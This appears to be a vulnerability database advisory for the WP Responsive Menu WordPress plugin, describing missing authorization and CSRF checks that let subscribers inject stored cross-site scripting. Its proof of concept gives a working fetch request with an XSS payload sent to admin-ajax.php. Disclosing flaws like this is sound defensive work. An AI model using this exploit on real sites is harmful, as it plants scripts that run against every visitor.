WordPress Plugin Vulnerabilities
WP Responsive Menu < 3.1.7.1 - Subscriber+ Settings Update to Stored XSS
Description
The plugin does not have capability and CSRF checks in the wpr_live_update AJAX action, as well as do not sanitise and escape some of the data submitted. As a result, any authenticated, such as subscriber could update the plugin's settings and perform Cross-Site Scripting attacks against all visitor and users on the frontend
Proof of Concept
fetch("https://example.com/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": "action=wpr_live_update&wprmenu_options[enabled]=1&wprmenu_options[position]=\"><img src onerror=alert(/XSS/)>", "method": "POST", }) .then(response => response.text()) .then(function(data) { console.log(data); fetch("https://example.com/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": "action=wpr_get_transient_from_data", "method": "POST", }); }); The XSS will be triggered in all frontend pages
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-01-26 (about 2 years ago)
Added
2022-01-26 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)